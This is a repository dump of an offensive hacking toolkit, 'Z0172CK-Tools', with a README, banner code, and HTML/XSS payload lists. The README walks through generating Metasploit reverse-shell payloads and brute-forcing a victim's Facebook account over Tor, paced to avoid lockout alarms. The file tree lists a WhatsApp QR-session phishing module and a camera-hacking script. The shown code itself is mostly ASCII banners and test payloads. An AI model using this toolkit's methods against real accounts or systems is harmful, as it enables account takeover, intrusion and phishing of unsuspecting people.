├── .gitbook
└── assets
│ └── img1.png
├── .github
└── ISSUE_TEMPLATE
│ ├── bug_report.md
│ └── feature_request.md
├── .gitignore
├── APIs
├── IpInfo.txt
├── Shodan.txt
└── VirusTotal.txt
├── CODE_OF_CONDUCT.md
├── Images
├── Img1.png
├── Prom1-En.png
└── Prom1.png
├── LICENSE
├── README.md
├── SUMMARY.md
├── banners.py
├── contributing.md.md
├── core
├── BlackDir-Framework
│ ├── BlackDir.py
│ ├── html_payloads.txt
│ ├── link.txt
│ ├── list.txt
│ ├── sub.txt
│ └── xss_payloads.txt
├── FB-BruteForce
│ ├── FacebookBruteForce.sh
│ └── passwords.lst
├── Namechk
│ └── namechk.sh
├── PayloadGenerate.py
├── QRLJacker
│ ├── .ataque
│ ├── QrlJacker.py
│ ├── core
│ │ ├── Cli.py
│ │ ├── Data
│ │ │ ├── banners.txt
│ │ │ └── version.txt
│ │ ├── Settings.py
│ │ ├── __init__.py
│ │ ├── browser.py
│ │ ├── color.py
│ │ ├── db.py
│ │ ├── module.py
│ │ ├── module_utils.py
│ │ ├── modules
│ │ │ ├── __init__.py
│ │ │ ├── grabber
│ │ │ │ ├── __init__.py
│ │ │ │ └── whatsapp.py
│ │ │ └── post
│ │ │ │ └── __init__.py
│ │ ├── sessions.json
│ │ ├── templates
│ │ │ └── phishing_page.html
│ │ ├── utils.py
│ │ └── www
│ │ │ └── whatsapp
│ │ │ └── index.html
│ └── sessions
│ │ └── .gitignore
├── UrlHider.py
└── camHackers.py
├── docs
└── CONTRIBUTING.md
├── index.py
├── install.sh
├── output
└── .files
├── requirements.txt
└── result
├── IpInfo.json
└── Shodan.json
/.gitbook/assets/img1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/.gitbook/assets/img1.png
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug report
3 | about: Create a report to help us improve
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 |
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Go to '...'
16 | 2. Click on '....'
17 | 3. Scroll down to '....'
18 | 4. See error
19 |
20 | **Expected behavior**
21 | A clear and concise description of what you expected to happen.
22 |
23 | **Screenshots**
24 | If applicable, add screenshots to help explain your problem.
25 |
26 | **Desktop (please complete the following information):**
27 | - OS: [e.g. iOS]
28 | - Browser [e.g. chrome, safari]
29 | - Version [e.g. 22]
30 |
31 | **Smartphone (please complete the following information):**
32 | - Device: [e.g. iPhone6]
33 | - OS: [e.g. iOS8.1]
34 | - Browser [e.g. stock browser, safari]
35 | - Version [e.g. 22]
36 |
37 | **Additional context**
38 | Add any other context about the problem here.
39 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/feature_request.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Feature request
3 | about: Suggest an idea for this project
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Is your feature request related to a problem? Please describe.**
11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
12 |
13 | **Describe the solution you'd like**
14 | A clear and concise description of what you want to happen.
15 |
16 | **Describe alternatives you've considered**
17 | A clear and concise description of any alternative solutions or features you've considered.
18 |
19 | **Additional context**
20 | Add any other context or screenshots about the feature request here.
21 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 | Images/
3 | Developer/
4 | developer/
5 | Test/
6 | *.png
7 |
--------------------------------------------------------------------------------
/APIs/IpInfo.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/APIs/IpInfo.txt
--------------------------------------------------------------------------------
/APIs/Shodan.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/APIs/Shodan.txt
--------------------------------------------------------------------------------
/APIs/VirusTotal.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/APIs/VirusTotal.txt
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | In the interest of fostering an open and welcoming environment, we as
6 | contributors and maintainers pledge to making participation in our project and
7 | our community a harassment-free experience for everyone, regardless of age, body
8 | size, disability, ethnicity, sex characteristics, gender identity and expression,
9 | level of experience, education, socio-economic status, nationality, personal
10 | appearance, race, religion, or sexual identity and orientation.
11 |
12 | ## Our Standards
13 |
14 | Examples of behavior that contributes to creating a positive environment
15 | include:
16 |
17 | * Using welcoming and inclusive language
18 | * Being respectful of differing viewpoints and experiences
19 | * Gracefully accepting constructive criticism
20 | * Focusing on what is best for the community
21 | * Showing empathy towards other community members
22 |
23 | Examples of unacceptable behavior by participants include:
24 |
25 | * The use of sexualized language or imagery and unwelcome sexual attention or
26 | advances
27 | * Trolling, insulting/derogatory comments, and personal or political attacks
28 | * Public or private harassment
29 | * Publishing others' private information, such as a physical or electronic
30 | address, without explicit permission
31 | * Other conduct which could reasonably be considered inappropriate in a
32 | professional setting
33 |
34 | ## Our Responsibilities
35 |
36 | Project maintainers are responsible for clarifying the standards of acceptable
37 | behavior and are expected to take appropriate and fair corrective action in
38 | response to any instances of unacceptable behavior.
39 |
40 | Project maintainers have the right and responsibility to remove, edit, or
41 | reject comments, commits, code, wiki edits, issues, and other contributions
42 | that are not aligned to this Code of Conduct, or to ban temporarily or
43 | permanently any contributor for other behaviors that they deem inappropriate,
44 | threatening, offensive, or harmful.
45 |
46 | ## Scope
47 |
48 | This Code of Conduct applies both within project spaces and in public spaces
49 | when an individual is representing the project or its community. Examples of
50 | representing a project or community include using an official project e-mail
51 | address, posting via an official social media account, or acting as an appointed
52 | representative at an online or offline event. Representation of a project may be
53 | further defined and clarified by project maintainers.
54 |
55 | ## Enforcement
56 |
57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be
58 | reported by contacting the project team at alejod172@gmail.com. All
59 | complaints will be reviewed and investigated and will result in a response that
60 | is deemed necessary and appropriate to the circumstances. The project team is
61 | obligated to maintain confidentiality with regard to the reporter of an incident.
62 | Further details of specific enforcement policies may be posted separately.
63 |
64 | Project maintainers who do not follow or enforce the Code of Conduct in good
65 | faith may face temporary or permanent repercussions as determined by other
66 | members of the project's leadership.
67 |
68 | ## Attribution
69 |
70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
72 |
73 | [homepage]: https://www.contributor-covenant.org
74 |
75 | For answers to common questions about this code of conduct, see
76 | https://www.contributor-covenant.org/faq
77 |
--------------------------------------------------------------------------------
/Images/Img1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/Images/Img1.png
--------------------------------------------------------------------------------
/Images/Prom1-En.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/Images/Prom1-En.png
--------------------------------------------------------------------------------
/Images/Prom1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/Images/Prom1.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Version Basic
3 | ---
4 |
5 | # Z0172CK-Tools
6 |
7 | Documentation [https://app.gitbook.com/@erik172/s/z0172ck-tools](https://app.gitbook.com/@erik172/s/z0172ck-tools)
8 |
9 | site web [https://z0172ck.me](https://z0172ck.me)
10 |
11 | {% hint style="info" %}
12 | Z0172CK Tools can receive Updates
13 | {% endhint %}
14 |
15 | ## Install Z0172CK Tools
16 |
17 | ### Install on Kali Linux
18 |
19 | [](https://asciinema.org/a/352244)
20 |
21 | We must first have Python3 and PIP3
22 |
23 | ```text
24 | $ sudo apt install python3 python3-pip
25 | ```
26 |
27 | {% hint style="info" %}
28 | Z0172CK-Tools only works with python 3
29 | {% endhint %}
30 |
31 | We clone the repository from github [https://github.com/Erik172/Z0172CK-Tools](https://github.com/Erik172/Z0172CK-Tools)
32 |
33 | ```bash
34 | $ git clone https://github.com/Erick172/Z0172CK-Tools
35 | ```
36 |
37 | Install the dependencies found in the requirements.txt file
38 |
39 | ```bash
40 | $ bash ./install.sh
41 | ```
42 |
43 | ```bash
44 | $ sudo pip3 install -r requirements.txt
45 | ```
46 |
47 | #### Dependencies to install
48 |
49 | * Shodan = 1.23.0
50 | * Colorama = 0.4.3
51 | * Ipinfo = 3.0.0
52 |
53 | ### Install on Termux
54 |
55 | ```bash
56 | $ pkg update
57 | ```
58 |
59 | ```bash
60 | $ pkg install python nmap
61 | ```
62 |
63 | {% hint style="warning" %}
64 | Z0172CK-Tools only works with python 3
65 | {% endhint %}
66 |
67 | We clone the repository from github [https://github.com/Erik172/Z0172CK-Tools](https://github.com/Erik172/Z0172CK-Tools)
68 |
69 | ```bash
70 | $ git clone https://github.com/Erick172/Z0172CK-Tools
71 | ```
72 |
73 | ```bash
74 | $ pip install -r requirements.txt
75 | ```
76 |
77 | ## How to use
78 |
79 | already installed the dependencies we can execute the file index.py
80 |
81 | ```bash
82 | $ python3 index.py
83 | ```
84 |
85 | ```bash
86 | ███████╗ ██████╗ ██╗███████╗██████╗ ██████╗██╗ ██╗
87 | ╚══███╔╝██╔═████╗███║╚════██║╚════██╗██╔════╝██║ ██╔╝
88 | ███╔╝ ██║██╔██║╚██║ ██╔╝ █████╔╝██║ █████╔╝
89 | ███╔╝ ████╔╝██║ ██║ ██╔╝ ██╔═══╝ ██║ ██╔═██╗
90 | ███████╗╚██████╔╝ ██║ ██║ ███████╗╚██████╗██║ ██╗
91 | ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝
92 | V1.0 Basic By -Erick172
93 |
94 |
95 | [01] Shodan [06] Scan
96 | [02] Metasploit [07] Search Enginare
97 | [03] IP Info
98 | [04] Brute Force
99 |
100 | [88] Update
101 | [99] Exit
102 |
103 | Z0172CK >
104 | ```
105 |
106 | ### Shodan
107 |
108 | Shodan is a search engine that allows the user to find the same or different specific types of equipment connected to the Internet through a variety of filters.
109 |
110 | in order to use shodan we need a KEY API.
111 |
112 | For our API KEY we enter [https://account.shodan.io/](https://account.shodan.io/)
113 |
114 | ```bash
115 | Go to https://account.shodan.io/ to see your API
116 | enter your Shodan API:
117 | ```
118 |
119 | Once our API KEY is entered, it will be saved in the APIs folder and in the Shodan.txt file. If we want to change the API we will have to change it from the Shodan.txt file that remains in the /APIs/Shodan.txt path
120 |
121 | ```bash
122 | Go to https://account.shodan.io/ to see your API
123 | enter your Shodan API:
124 | ```
125 |
126 | ```bash
127 | Z0172CK (Shodan) Search >
128 | ```
129 |
130 | Here we can start using the shodan tool
131 |
132 | #### Example
133 |
134 | ```bash
135 | Z0172CK (Shodan) Search > apache2
136 | ```
137 |
138 | then it asks us if we want to see the vulnerabilities too
139 |
140 | But I will say no
141 |
142 | ```bash
143 | You want to see the vulnerabilities y/N > n
144 | ```
145 |
146 | then it will give us the result of all the computers connected to the internet that use apache2
147 |
148 | ```bash
149 | [!] Resoult found: 10397
150 |
151 | [+] IP: 189.109.49.138
152 | [+] ISP: Vivo
153 | [+] Location: {
154 | "area_code": null,
155 | "city": "S\u00e3o Paulo",
156 | "country_code": "BR",
157 | "country_code3": null,
158 | "country_name": "Brazil",
159 | "dma_code": null,
160 | "latitude": -23.63,
161 | "longitude": -46.6322,
162 | "postal_code": null,
163 | "region_code": "SP"
164 | }
165 | [+] Organization: Vivo
166 | [+] Operating System: None
167 | [+] Port: 8089
168 | [+] Product: null
169 | [+] Version: null
170 |
171 | [+] IP: 86.107.98.92
172 | [+] ISP: Netsons s.r.l.
173 | [+] Location: {
174 | "area_code": null,
175 | "city": "Pescara",
176 | "country_code": "IT",
177 | "country_code3": null,
178 | "country_name": "Italy",
179 | "dma_code": null,
180 | "latitude": 42.4584,
181 | "longitude": 14.2028,
182 | "postal_code": null,
183 | "region_code": "65"
184 | }
185 | [+] Organization: Netsons s.r.l.
186 | [+] Operating System: None
187 | [+] Port: 444
188 | [+] Product: null
189 | [+] Version: null
190 |
191 | --more--
192 | ```
193 |
194 | as we can see in the first line it tells us how many results it found in this case it found 10397
195 |
196 | ```bash
197 | [!] Resoult found: 10397
198 | ```
199 |
200 | the results are saved in the result folder
201 |
202 | in the case of shodan it would be /result/Shodan.json
203 |
204 | [](https://asciinema.org/a/349306)
205 |
206 | ### Metasploit
207 |
208 | in the metasploit option, it opens another menu
209 |
210 | ```bash
211 | [01] Listen Payload
212 | [02] Payload Generate
213 |
214 | [99] Back
215 |
216 | Z0172CK (Metasploit) >
217 | ```
218 |
219 | #### Listen Payload
220 |
221 | {% hint style="warning" %}
222 | The MSF option is to connect to Metasploit Not to generate a Payload, nor an automatic attack
223 | {% endhint %}
224 |
225 | The MSF option stands for Metasploit Framework, with this option we can connect to metasploit only by placing the payload, port and ip
226 |
227 | ```bash
228 | Z0172CK (Metasploit) > 1
229 |
230 | Select platform type
231 |
232 | [01] Windows
233 | [02] Android
234 | [03] Linux
235 | ```
236 |
237 | we select the payload platform to connect
238 |
239 | ```bash
240 | Z0172CK (Metasploit/MSF) > 1
241 |
242 | Select the Payload
243 |
244 | [01] windows/meterpreter/reverse_tcp
245 | [02] windows/meterpreter/reverse_http
246 | [03] windows/meterpreter/reverse_https
247 | [04] windows/meterpreter/bind_tcp
248 | [05] windows/shell/bind_tcp
249 | [06] windows/shell/reverse_tcp
250 | ```
251 |
252 | We select the Payload to which we want to connect
253 |
254 | ```bash
255 | Z0172CK (Metasploit/MSF) Payload > 4
256 | ```
257 |
258 | ```bash
259 | Z0172CK (Metasploit/MSF) LHOST >
260 | Z0172CK (Metasploit/MSF) LPORT >
261 | ```
262 |
263 | then it will ask us for the port and host \(IP\) of the Payload to connect
264 |
265 | Then we will connect to the metasploit Framework
266 |
267 | #### Payload Generate
268 |
269 | {% hint style="info" %}
270 | Not all the Metasploit payloads are there.
271 | {% endhint %}
272 |
273 | ```bash
274 | _______________________________________________________
275 | | |
276 | / | |
277 | /---, | P A Y L O A D |
278 | -----# ==| | G E N E R A T E |
279 | | :) # ==| | |
280 | -----'----# | |______________________________________________________|
281 | |)___() '# |______====____ \___________________________________|
282 | [_/,-,"--"------ //,-, ,-,\|\ |/ //,-, ,-, ,-,\ __#Erik172#
283 | ( 0 )|===******||( 0 )( 0 )||- o '( 0 )( 0 )( 0 )||
284 | ----'-'--------------'-'--'-'-----------------------'-'--'-'--'-'--------------
285 |
286 |
287 | Selecione la Plataforma
288 | [01] Windows
289 | [02] Android
290 | ```
291 |
292 | We select the payload platform
293 |
294 | ```bash
295 | Z0172CK (Metasploit/PayloadGenerate) > 1
296 | ```
297 |
298 | ```bash
299 | [01] windows/meterpreter/reverse_http
300 | [02] windows/meterpreter/reverse_https
301 | [03] windows/meterpreter/reverse_tcp
302 | [04] windows/meterpreter/bind_tcp
303 | [05] windows/shell/bind_tcp
304 | [06] windows/shell/reverse_tcp
305 |
306 | Z0172CK (Metasploit/MSF) Payload >
307 | ```
308 |
309 | We select the payload
310 |
311 | ```bash
312 | Z0172CK (Metasploit/PayloadGenerate) Payload > 3
313 | ```
314 |
315 | Then it won't ask for a local ip and a port
316 |
317 | ```bash
318 | Z0172CK (Metasploit/PayloadGenerate) LHOST >
319 | ```
320 |
321 | ```bash
322 | Z0172CK (Metasploit/PayloadGenerate) LPORT >
323 | ```
324 |
325 | We put the name of our payload, without the file extension
326 |
327 | ```bash
328 | Z0172CK (Metasploit/PayloadGenerate) FileName > Payload
329 | ```
330 |
331 | It will show us where the payload generator is stored
332 |
333 | ```bash
334 | File saved in output/Payload.exe
335 | ```
336 |
337 | Then it will ask us if we want to listen to the payload, if we give 's' to be metaplanned to metasploit, and if we give it 'n' it will return us to the main menu
338 |
339 | ```bash
340 | desea conectarse a Metasploit [y/N] >
341 | ```
342 |
343 | ### IpInfo
344 |
345 | With IPinfo, you can pinpoint your users’ locations, customize their experiences, prevent fraud, ensure compliance, and so much more.
346 |
347 | {% hint style="info" %}
348 | To be able to use the ipinfo tool you need an API KEY
349 | {% endhint %}
350 |
351 | In order to get the api key we need to create an account on the ipinfo website [https://ipinfo.io/signup](https://ipinfo.io/signup)
352 |
353 | Once the account is created we can go [https://ipinfo.io/account](https://ipinfo.io/account) to see our token
354 |
355 | ```bash
356 | Ingresa a https://ipinfo.io/account para ver tu access token
357 | Ingresa tu API o Access Token >
358 | ```
359 |
360 | we enter our api key or token
361 |
362 | ```bash
363 | . _ . .__ . . __,--'
364 | (_) '/__\ __,--'
365 | ' . ' . | o|' IpInfo
366 | [IIII]`--.__
367 | | | `--.__
368 | | :| `--.__
369 | | | `--.__
370 | ._,,.-,.__.'__`.___.,.,.-..,_.,.,.,-._..`--..-.,._.,,._,-,.Erik172
371 |
372 |
373 | Z0172CK (IP-Info) IP >
374 | ```
375 |
376 | We enter the ip that we want to search for information
377 |
378 | ```bash
379 | Z0172CK (IP-Info) IP > 185.199.108.153
380 | ```
381 |
382 | ```bash
383 | [+] IP = 185.199.108.153
384 | [+] City = San Francisco
385 | [+] Country = US
386 | [+] Country Name = United States
387 | [!] Hostname = None
388 | [+] Coordinates = 37.7621,-122.3971
389 | [+] Latitude = 37.7621
390 | [+] Longitude = -122.3971
391 | [+] Organization = AS54113 Fastly
392 | [+] Code Postal = 94107
393 | [+] Region = California
394 | [+] TimeZone = America/Los_Angeles
395 |
396 | Results Saved in result/IpInfo.json
397 | ```
398 |
399 | the results are saved in the result folder in the file IpInfo.json
400 |
401 | ```bash
402 | Results Saved in result/IpInfo.json
403 | ```
404 |
405 | [](https://asciinema.org/a/349309)
406 |
407 | ### Brute Force
408 |
409 | with the brute force option we can attack sites and protocols using passwords
410 |
411 | ```bash
412 | c=====e
413 | H
414 | ____________ _,,_H__
415 | (__((__((___() //| |
416 | (__((__((___()()_____________________________________// |ERIK |
417 | (__((__((___()()()------------------------------------' |_____|
418 | Brute Force V0.1
419 |
420 |
421 | [01] Facebook
422 |
423 | [99] Back
424 |
425 | Z0172CK (BruteForce) >
426 | ```
427 |
428 | #### Facebook
429 |
430 | {% hint style="warning" %}
431 | Only 20 passwords are processed per hour to avoid blocking or awakening an alarm in the victim gutter
432 | {% endhint %}
433 |
434 | ```bash
435 | Z0172CK (BruteForce) > 1
436 |
437 | [01] Start Brute Force
438 | [02] Continue Brute Force
439 |
440 | [99] Back
441 |
442 | Z0172CK (BruteForce/Facebook) >
443 | ```
444 |
445 | in the facebook part we have two options 1. start a new attack 2. continue with an attack
446 |
447 | If we select the first option to start a new attack, it will ask us for an email and a list of passwords
448 |
449 | at any time we can give ctrl + c to save our attack and continue later with the second option
450 |
451 | {% hint style="info" %}
452 | if we get an error of this type " Please, check your TOR Connection! Just type" tor "or" service tor start " " just go back to the facebook option
453 | {% endhint %}
454 |
455 | ```bash
456 | Z0172CK (BruteForce/Facebook) > 1
457 | Email account:
458 | ```
459 |
460 | we put the mail of a victim
461 |
462 | ```bash
463 | Password List (Hit Enter to default list):
464 | ```
465 |
466 | we put the path of the list of our passwords or we give enter to use the one that comes by default
467 |
468 | ```bash
469 | Wordlist: modules/FB-BruteForce/passwords.lst (39331)
470 | [*] Press Ctrl + C to stop or save session
471 | Trying pass (1/39331): "password"
472 | Trying pass (2/39331): "12345678"
473 | Trying pass (3/39331): "123456789"
474 | Trying pass (4/39331): "iam123"
475 | Trying pass (5/39331): "baseball"
476 | Trying pass (6/39331): "football"
477 | Trying pass (7/39331): "qwertyuiop"
478 | Trying pass (8/39331): "1234567890"
479 | Trying pass (9/39331): "superman"
480 | Trying pass (10/39331): "1qaz2wsx"
481 | Trying pass (11/39331): "trustno1"
482 | Trying pass (12/39331): "jennifer"
483 | Trying pass (13/39331): "sunshine"
484 | Trying pass (14/39331): "iloveyou"
485 | Trying pass (15/39331): "starwars"
486 | Trying pass (16/39331): "computer"
487 | Trying pass (17/39331): "michelle"
488 | Trying pass (18/39331): "11111111"
489 | Trying pass (19/39331): "princess"
490 | Trying pass (20/39331): "987654321"
491 | [*] Waiting 1 hour, to return at:
492 | ```
493 |
494 | all 20 passwords have been completed and we have to wait for one or we can give it Ctrl + c to save the attack and use it again in an hour
495 |
496 | ```bash
497 | Ctrl + c
498 | [*] Waiting a second...
499 |
500 | Save session for user correo@correo.com ? [Y/n]:
501 | ```
502 |
503 | It will ask us if we want to save the session. in this case I give it that if
504 |
505 | ```bash
506 | Save session for user correo@correo.com ? [Y/n]: Y
507 | ```
508 |
509 | ```bash
510 | Session saved.
511 | Use [11] resume
512 | ```
513 |
514 | after being saved we can use the attack again until it was
515 |
516 | ```bash
517 | [01] Start Brute Force
518 | [02] Continue Brute Force
519 |
520 | [99] Back
521 |
522 | Z0172CK (BruteForce/Facebook) > 2
523 | ```
524 |
525 | ```bash
526 | Z0172CK (BruteForce/Facebook) > 2
527 | Files sessions:
528 | 1 : modules/FB-BruteForce/sessions/store.session.correo@correo.com.2020-07-23T1133 (wl: modules/FB-BruteForce/passwords.lst, lastpass: 987654321 )
529 | Choose a session number:
530 | ```
531 |
532 | we give enter and we can continue with our attack
533 |
534 | ```bash
535 | 1 : modules/FB-BruteForce/sessions/store.session.correo@correo.com.2020-07-23T1133 (wl: modules/FB-BruteForce/passwords.lst, lastpass: 987654321 )
536 | Choose a session number:
537 | [*] Resuming session for user:
538 | [*] Wordlist: modules/FB-BruteForce/passwords.lst
539 | [*] Press Ctrl + C to stop or save session
540 | Trying pass (20/39331): 987654321
541 | Trying pass (21/39331): corvette
542 | Trying pass (22/39331): 1234qwer
543 | Trying pass (23/39331): 88888888
544 | Trying pass (24/39331): q1w2e3r4t5
545 | Trying pass (25/39331): internet
546 | Trying pass (26/39331): samantha
547 | Trying pass (27/39331): whatever
548 | Trying pass (28/39331): maverick
549 | Trying pass (29/39331): steelers
550 | Trying pass (30/39331): mercedes
551 | Trying pass (31/39331): 123123123
552 | Trying pass (32/39331): qwer1234
553 | Trying pass (33/39331): hardcore
554 | Trying pass (34/39331): q1w2e3r4
555 | Trying pass (35/39331): midnight
556 | Trying pass (36/39331): bigdaddy
557 | Trying pass (37/39331): victoria
558 | ```
559 |
560 | ### Exploits
561 |
562 | In this part we find different scripts that can be exploited
563 |
564 |
--------------------------------------------------------------------------------
/SUMMARY.md:
--------------------------------------------------------------------------------
1 | # Table of contents
2 |
3 | * [Z0172CK-Tools](README.md)
4 | * [CONTRIBUTING.md](contributing.md.md)
5 |
6 |
--------------------------------------------------------------------------------
/banners.py:
--------------------------------------------------------------------------------
1 | from colorama import Fore, init
2 | import random
3 | import sys
4 | import os
5 |
6 | init()
7 |
8 | def println(n):
9 | colors = [Fore.LIGHTBLUE_EX, Fore.LIGHTCYAN_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX]
10 | color = random.choice(colors)
11 | banner1 = """{}
12 | _ __,----'~~~~~~~~~`-----.__
13 | . . `//====- ____,-'~`
14 | -. \_|// . /||\\ `~~~~`---.___./
15 | ______-==. _-~o `\/ ||| \\ _,'`
16 | __,--' ,=='||\=_ ;_,_,/ _-'|- |`\ \\ ,'
17 | _-' ,=' | \\`. '',/~7 /- / || `\. /
18 | .' ,' | \\ \_ " / /- / || \ /
19 | / _____ / | \\.`-_/ /|- _/ ,|| \ /
20 | ,-' `-|--'~~`--_ \ `==-/ `| \'--===-' _/`
21 | ' `-| /| )-'\~' _,--"'
22 | '-~^\_/ | | `\_ ,^ /|
23 | / \ \__ \/~ `\__
24 | _,-' _/'\ ,-'~____-'`-/ ``===°
25 | ((->/' \|||' `. `\. , _||
26 | ./ \_ `\ `~---|__i__i__\--~'_/
27 | <_n_ __-^-_ `) \-.______________,-~'
28 | `B'\) ///,-'~`__--^- |-------~~~~^'
29 | /^> ///,--~`-/
30 | ` ` -Erick172
31 | {}""".format(color, Fore.LIGHTWHITE_EX)
32 |
33 | banner2 = '''{}
34 | _ _
35 | ' \/ '
36 | _ _ <|
37 | \/ __'__ __'__ __'__
38 | / / / / / /
39 | /\____\ \____\ \____\ _ _
40 | / ___!___ ___!___ ___!___ \/
41 | // ( ( ( ( ( (
42 | / / \______\ \______\ \______(
43 | / / ____!_____ ___!______ ____!_____
44 | / / / // // /
45 | / E / | R || I || K |
46 | /_____/ \ \ \ (
47 | \ \_________\__________\__________(
48 | \ | | |
49 | \________!__________!_________!________/
50 | \|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_/| Shodan
51 | \ _______________ /
52 | ^^^%^%^^^%^^\_"/_)/_)_/_)__)/_)/)/)_)_"_'_"_//)/)/)/)%^^^%^^^
53 | ^!!^^"!!^^^!^^^!!^^^%!!!!^^^^^^!!^^^!!!!!!%^^^^%^^%^^^!
54 | {}'''.format(color, Fore.LIGHTWHITE_EX)
55 |
56 | banner3 ='''{}
57 | . _ . .__ . . __,--'
58 | (_) '/__\ __,--'
59 | ' . ' . | o|' IpInfo
60 | [IIII]`--.__
61 | | | `--.__
62 | | :| `--.__
63 | | | `--.__
64 | ._,,.-,.__.'__`.___.,.,.-..,_.,.,.,-._..`--..-.,._.,,._,-,.Erik172
65 | {}'''.format(color, Fore.LIGHTWHITE_EX)
66 |
67 | banner4 = '''{}
68 |
69 | _______________________________________________________
70 | | |
71 | / | |
72 | /---, | P A Y L O A D |
73 | -----# ==| | G E N E R A T E |
74 | | :) # ==| | |
75 | -----'----# | |______________________________________________________|
76 | |)___() '# |______====____ \___________________________________|
77 | [_/,-,\"--"------ //,-, ,-,\|\ |/ //,-, ,-, ,-,\ __#Erik172#
78 | ( 0 )|===******||( 0 )( 0 )||- o '( 0 )( 0 )( 0 )||
79 | ----'-'--------------'-'--'-'-----------------------'-'--'-'--'-'--------------
80 | {}'''.format(color, Fore.LIGHTWHITE_EX)
81 |
82 | banner5 = """{}
83 | ____
84 | \ `.
85 | \ `.
86 | \ \ `.
87 | \ 01838`.
88 | :. . . . `._______________________.-~|~~-._
89 | \ ---'-----`-._
90 | /"""""""/ _...---------.. ~-._________
91 | // .`_________ .-` \ .-~ /
92 | // .' ||__.~ .-~_____________/
93 | //___.` .~ .-~
94 | .~ .-~
95 | .~ _.-~
96 | `-_____.-~'
97 | {}""".format(color, Fore.LIGHTWHITE_EX)
98 |
99 | banner6 = """{}
100 | c=====e
101 | H
102 | ____________ _,,_H__
103 | (__((__((___() //| |
104 | (__((__((___()()_____________________________________// |ERIK |
105 | (__((__((___()()()------------------------------------' |_____|
106 | Brute Force V0.1
107 | {}""".format(color, Fore.LIGHTWHITE_EX)
108 |
109 | Fsociety = """{}
110 | ....'''...
111 | .':oxOKXXNNNNNXK0kdc;.
112 | .;d0NWMMMMMMMMMMMMMMMMMWXkc.
113 | :OWMMMMMMMMMMMMMMMMMMMMMMMMW0c.
114 | .lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd.
115 | .oKWMMMWWWWMMMMMMMMMMMMWWWWMMMMXx.
116 | .'xXOdol:;lkXMMMMMMNOl::cookX0:.
117 | ..:xdk0Kk:...cONW0l'..;xKKkoxl...
118 | .;d0XWMWNKOo,,xNWO;,lkKXWMWXKk:,.
119 | .xXXxkNk;..'l0XXWMNX0o,..,dXOdXNk'
120 | lNMWK0kc;;,.,OKOXM0O0;.';;:x0KWMWd.
121 | .xWMWNKXNWWNK0OkONMXOkkKNWWNXXNWMMO.
122 | .kWXd:kWMMMMM0xXWMMMWOkNMMMMMKllKMO.
123 | .xXc .dNWNKko;,oKNNKo,,cx0NWNk. :Kk.
124 | :x' .','. .''. .','. 'kl
125 | .;;. .cl.
126 | 'llc;;;,............ .',;;cod;
127 | ,0MWWWNk;. .........oKWWWMNc
128 | .xWMMMMMNOoc:;;:cokXWMMMMMO.
129 | :XMMMMMMMMMMWWMMMMMMMMMMNo
130 | :0WMMMMMMMMMMMMMMMMMMMNd.
131 | .oKWMMMMMMMMMMMMMMMXx;
132 | .lONWMMMMMMMMMWKd'
133 | .':lodxxxdoc,. By Erick172
134 | by Z0172CK
135 | {}""".format(color, Fore.LIGHTWHITE_EX)
136 |
137 | if n == 1 or n == '1':
138 | print(banner1)
139 |
140 | elif n == 2 or n == '2':
141 | print(banner2)
142 |
143 | elif n == 3 or n == '3':
144 | print(banner3)
145 |
146 | elif n == 4 or n == '4':
147 | print(banner4)
148 |
149 | elif n == 5 or n == '5':
150 | print(banner5)
151 |
152 | elif n == 6 or n == '6':
153 | print(banner6)
154 |
155 | elif n == 0 or n == '0':
156 | print(Fsociety)
157 |
158 | else:
159 | print("Banner")
--------------------------------------------------------------------------------
/contributing.md.md:
--------------------------------------------------------------------------------
1 | # CONTRIBUTING.md
2 |
3 |
--------------------------------------------------------------------------------
/core/BlackDir-Framework/html_payloads.txt:
--------------------------------------------------------------------------------
1 |
test_html_injection
2 | test_html_injection
3 |
2 |
3 |
4 |
5 |
6 |
7 | ; alert(1);
8 | )alert(1);
9 |
10 |
11 |
13 |
14 |
15 | alert(1)
16 | '>
--------------------------------------------------------------------------------
/core/FB-BruteForce/FacebookBruteForce.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | trap 'store; exit 1;' 2
3 | counter=0
